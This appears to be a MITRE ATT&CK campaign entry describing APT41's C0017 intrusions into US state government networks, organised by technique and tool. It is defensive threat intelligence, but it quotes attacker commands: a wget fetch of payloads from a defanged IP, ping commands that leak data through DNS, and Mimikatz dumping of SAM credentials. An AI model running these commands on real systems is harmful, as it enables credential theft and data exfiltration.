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C0017

C0017 was an APT41 campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During C0017, APT41 was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of C0017 are unknown, however APT41 was observed exfiltrating Personal Identifiable Information (PII).[1]

ID: C0017
First Seen:  May 2021 [1]
Last Seen:  February 2022 [1]
Contributors: Kyaw Pyiyt Htet, @KyawPyiytHtet
Version: 1.0
Created: 01 December 2022
Last Modified: 25 January 2023
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Groups

ID Name Description
G0096 APT41

[1]
Enterprise Layer
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Techniques Used

Domain ID Name Use
Enterprise T1134 Access Token Manipulation

During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local NT AUTHORITY\SYSTEM privilege escalation.[1]
Enterprise T1071 .001 Application Layer Protocol: Web Protocols

During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads.[1]
Enterprise T1560 .003 Archive Collected Data: Archive via Custom Method

During C0017, APT41 hex-encoded PII data prior to exfiltration.[1]
Enterprise T1059 .003 Command and Scripting Interpreter: Windows Command Shell

During C0017, APT41 used cmd.exe to execute reconnaissance commands.[1]
.007 Command and Scripting Interpreter: JavaScript

During C0017, APT41 deployed JScript web shells on compromised systems.[1]
Enterprise T1005 Data from Local System

During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.[1]

Enterprise T1001 .003 Data Obfuscation: Protocol or Service Impersonation

During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.[1]
Enterprise T1074 .001 Data Staged: Local Data Staging

During C0017, APT41 copied the local SAM and SYSTEM Registry hives to a staging directory.[1]
Enterprise T1140 Deobfuscate/Decode Files or Information

During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.[1]
Enterprise T1048 .003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.[1]
Enterprise T1041 Exfiltration Over C2 Channel

During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.[1]
Enterprise T1567 Exfiltration Over Web Service

During C0017, APT41 used Cloudflare services for data exfiltration.[1]
Enterprise T1190 Exploit Public-Facing Application

During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.[1]
Enterprise T1574 Hijack Execution Flow

During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table (IAT) within legitimate Microsoft binaries.[1]

Enterprise T1105 Ingress Tool Transfer

During C0017, APT41 downloaded malicious payloads onto compromised systems.[1]
Enterprise T1036 .004 Masquerading: Masquerade Task or Service

During C0017, APT41 used SCHTASKS /Change to modify legitimate scheduled tasks to run malicious code.[1]
.005 Masquerading: Match Legitimate Name or Location

During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.[1]
Enterprise T1027 Obfuscated Files or Information

During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.[1]
.002 Software Packing

During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.[1]
Enterprise T1588 .002 Obtain Capabilities: Tool

For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.[1]
Enterprise T1003 .002 OS Credential Dumping: Security Account Manager

During C0017, APT41 copied the SAM and SYSTEM Registry hives for credential harvesting.[1]
Enterprise T1090 Proxy

During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.[1]
Enterprise T1053 .005 Scheduled Task/Job: Scheduled Task

During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: \Microsoft\Windows\PLA\Server Manager Performance Monitor, \Microsoft\Windows\Ras\ManagerMobility, \Microsoft\Windows\WDI\SrvSetupResults, and \Microsoft\Windows\WDI\USOShared.[1]

Enterprise T1505 .003 Server Software Component: Web Shell

During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.[1]
Enterprise T1082 System Information Discovery

During C0017, APT41 issued ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+ commands to find the volume serial number of compromised systems.[1]
Enterprise T1016 System Network Configuration Discovery

During C0017, APT41 used cmd.exe /c ping %userdomain% for discovery.[1]
Enterprise T1033 System Owner/User Discovery

During C0017, APT41 used whoami to gather information from victim machines.[1]
Enterprise T1102 Web Service

During C0017, APT41 used the Cloudflare services for C2 communications.[1]
.001 Dead Drop Resolver

During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.[1]

Software

ID Name Description
S0154 Cobalt Strike

During C0017, APT41 used the DUSTPAN in-memory dropper to drop a Cobalt Strike BEACON backdoor onto a compromised network.[1]
S1052 DEADEYE

[1]
S0105 dsquery

During C0017, APT41 used multiple dsquery commands to enumerate various Active Directory objects within a compromised environment.[1]
S1051 KEYPLUG

[1]
S0002 Mimikatz

During C0017, APT41 used Mimikatz to execute the lsadump::sam command on dumped registry hives to obtain locally stored credentials and NTLM hashes.[1]
S0097 Ping

During C0017, APT41 issued Ping commands to trigger DNS resolutions for data exfiltration, where the output of a reconnaissance command was prepended to subdomains within APT41's Cloudflare C2 infrastructure.[1]

References

  1. Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.